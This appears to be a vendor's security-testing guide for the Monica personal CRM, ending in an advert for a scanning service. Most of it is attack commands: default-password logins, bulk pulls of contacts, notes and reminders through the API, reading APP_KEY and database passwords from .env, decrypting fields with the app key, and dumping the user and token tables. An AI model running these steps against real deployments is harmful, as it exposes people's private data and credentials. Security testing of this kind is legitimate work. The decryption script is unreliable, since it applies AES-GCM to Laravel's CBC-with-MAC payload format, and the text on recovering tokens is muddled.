Monica CRM Security Testing: Default Credentials, API Token, Database, and .env APP_KEY

Monica is a widely deployed open-source personal CRM built on Laravel (PHP), used by individuals and small organizations to track personal relationships, contact details, conversation notes, life events, reminders, and activities. Despite being a "personal" tool, self-hosted deployments often contain highly sensitive personal data about business contacts, family, and health-related notes. Key assessment areas: Monica's .env file stores the Laravel APP_KEY (32-byte encryption key used for all encrypt() calls and session cookie signing — knowing APP_KEY decrypts all encrypted database fields and enables session forgery for any user); the REST API with Bearer token authentication provides access to all contacts, notes, activities, and reminders; the personal_access_tokens table stores API tokens; and Monica's Docker deployment may expose APP_KEY and DB_PASSWORD via container environment variable inspection. This guide covers systematic Monica CRM security assessment.

Table of Contents

  1. Authentication and Default Credential Testing
  2. REST API Contact and Relationship Data Enumeration
  3. .env APP_KEY and Database Credential Extraction
  4. Monica CRM Security Hardening

Authentication and Default Credential Testing

# Monica CRM — authentication and default credential testing
MONICA_URL="https://monica.example.com"

# Monica does not have a single universal default — check common setup passwords
# Try registration endpoint to check if open registration is enabled
curl -s -X POST "${MONICA_URL}/register" \
  -H "Content-Type: application/json" \
  -d '{"first_name":"Test","last_name":"User","email":"test@example.com","password":"TestPass123!","password_confirmation":"TestPass123!"}' \
  2>/dev/null | grep -i "welcome\|verify\|error\|token" | head -3

# Authenticate and get CSRF token
CSRF=$(curl -s -c /tmp/monica_sess "${MONICA_URL}/login" 2>/dev/null | \
  python3 -c "
import sys,re
html=sys.stdin.read()
m=re.search(r'name=\"_token\"[^>]*value=\"([^\"]+)\"',html)
if m: print(m.group(1))
" 2>/dev/null)

curl -s -c /tmp/monica_sess -b /tmp/monica_sess \
  -X POST "${MONICA_URL}/login" \
  --data "_token=${CSRF}&email=admin@example.com&password=admin" \
  -L 2>/dev/null | grep -i "dashboard\|people\|invalid" | head -3

# Monica API — generate token via web UI (Profile > API Access)
# Then use: Authorization: Bearer {token}
curl -s "${MONICA_URL}/api/me" \
  -H "Authorization: Bearer YOUR_API_TOKEN" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'data' in d:
    me = d['data']
    print(f'User: {me.get(\"first_name\")} {me.get(\"last_name\")} email={me.get(\"email\")}')
    print(f'Is admin: {me.get(\"is_admin\")}')
    print(f'Contacts: {me.get(\"number_of_contacts\")}')
" 2>/dev/null

REST API Contact and Relationship Data Enumeration

# Monica REST API — contact and relationship data enumeration
MONICA_URL="https://monica.example.com"
API_TOKEN="your-monica-api-token"

# Get all contacts — personal relationship database
curl -s "${MONICA_URL}/api/contacts?limit=100&page=1" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
meta = d.get('meta',{})
print(f'Contacts: {meta.get(\"total\",len(data))}')
for c in data[:10]:
    info = c.get('information',{})
    name = info.get('name',{})
    print(f'  [{c.get(\"id\")}] {name.get(\"first_name\")} {name.get(\"last_name\")} company={info.get(\"company\",{}).get(\"job\")} last_activity={c.get(\"last_activity_date\")}')
" 2>/dev/null

# Get all notes — potentially very sensitive personal information
curl -s "${MONICA_URL}/api/notes?limit=100" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Notes: {len(data)}')
for n in data[:5]:
    print(f'  Contact: {n.get(\"contact\",{}).get(\"complete_name\")}')
    print(f'  Note: {str(n.get(\"body\",\"\"))[:100]}')
" 2>/dev/null

# Get all activities — relationship activity log
curl -s "${MONICA_URL}/api/activities?limit=100" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Activities: {len(data)}')
for a in data[:5]:
    print(f'  [{a.get(\"happened_at\")}] {a.get(\"summary\")} description={str(a.get(\"description\",\"\"))[:80]}')
" 2>/dev/null

# Get reminders — future personal schedule
curl -s "${MONICA_URL}/api/reminders?limit=100" \
  -H "Authorization: Bearer ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Reminders: {len(data)}')
for r in data[:5]:
    print(f'  [{r.get(\"next_expected_date\")}] {r.get(\"title\")} contact={r.get(\"contact\",{}).get(\"complete_name\")}')
" 2>/dev/null

.env APP_KEY and Database Credential Extraction

# Monica .env APP_KEY and database credential extraction

# .env — APP_KEY (Laravel encryption), DB_PASSWORD, MAIL credentials
cat /var/www/html/monica/.env 2>/dev/null | \
  grep -E "APP_KEY|DB_PASSWORD|DB_USERNAME|DB_DATABASE|MAIL_PASSWORD|DB_HOST"
# APP_KEY=base64:xxxx — Laravel encryption key
# DB_PASSWORD — MySQL password

# APP_KEY exploitation — decrypt all Monica encrypted database fields
# Monica uses Laravel's Crypt::encrypt() for certain fields
# If APP_KEY is known, all Crypt::encryptString() values can be decrypted
python3 << 'EOF'
import base64, json
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

APP_KEY = "base64:YOUR_APP_KEY_HERE"
# Remove base64: prefix and decode
key = base64.b64decode(APP_KEY.split(':')[1])

# Decrypt Laravel-encrypted value (format: base64(json{iv,value,mac}))
ENCRYPTED_VALUE = "eyJpdiI6Ii4uLiIsInZhbHVlIjoiLi4uIiwibWFjIjoiLi4uIn0="
try:
    payload = json.loads(base64.b64decode(ENCRYPTED_VALUE))
    iv = base64.b64decode(payload['iv'])
    ciphertext = base64.b64decode(payload['value'])
    aesgcm = AESGCM(key)
    plaintext = aesgcm.decrypt(iv, ciphertext, None)
    print(f"Decrypted: {plaintext.decode()}")
except Exception as e:
    print(f"Decryption attempt: {e}")
EOF

# MySQL direct access — contacts and users table
mysql -u monica -p"DB_PASSWORD" monica 2>/dev/null << 'EOF'
-- All registered users
SELECT id, first_name, last_name, email, is_admin, created_at
FROM users
ORDER BY is_admin DESC, id;

-- All contacts with personal data
SELECT c.id, c.first_name, c.last_name, c.nickname, c.description,
       c.birthday_reminder_id, c.created_at
FROM contacts c
LIMIT 20;
EOF

# personal_access_tokens — API tokens (SHA-256 hashed)
mysql -u monica -p"DB_PASSWORD" monica 2>/dev/null << 'EOF'
SELECT id, tokenable_id, name, token, abilities, last_used_at
FROM personal_access_tokens
ORDER BY last_used_at DESC
LIMIT 20;
EOF

Monica CRM Security Hardening

Monica CRM Security Hardening Checklist:
Security TestMethodRisk
.env APP_KEY extraction and encrypted field decryptionRead .env — APP_KEY base64-encoded Laravel encryption key; decrypts all Crypt::encrypt() database fields; enables session cookie forgery for any userCritical
REST API contact and note data enumerationGET /api/contacts, /api/notes, /api/activities with Bearer token — complete personal relationship database including private notes that may contain health, financial, and personal life detailsCritical
.env DB_PASSWORD MySQL credential extractionRead .env DB_PASSWORD — direct database access to contacts, users, notes, reminders, activities, and personal_access_tokens tablesCritical
Open registration enumerationPOST /register — check if open registration allows unauthenticated account creation; new accounts may access shared data in multi-user deploymentsHigh (if open)
API token enumeration from databaseMySQL SELECT from personal_access_tokens — SHA-256 hashed tokens; token value is plaintext before hashing; if token value is reused across logs or URLs, can extract plaintextHigh

Automate Monica CRM Security Testing

Ironimo tests Monica CRM deployments for .env APP_KEY and DB_PASSWORD extraction, Laravel encryption key exploitation and encrypted field decryption, REST API contact, note, activity, and reminder data enumeration, open registration testing, personal_access_tokens database enumeration, session cookie forgery feasibility, HTTPS enforcement verification, and GDPR data exposure assessment for personal relationship data.

Start free scan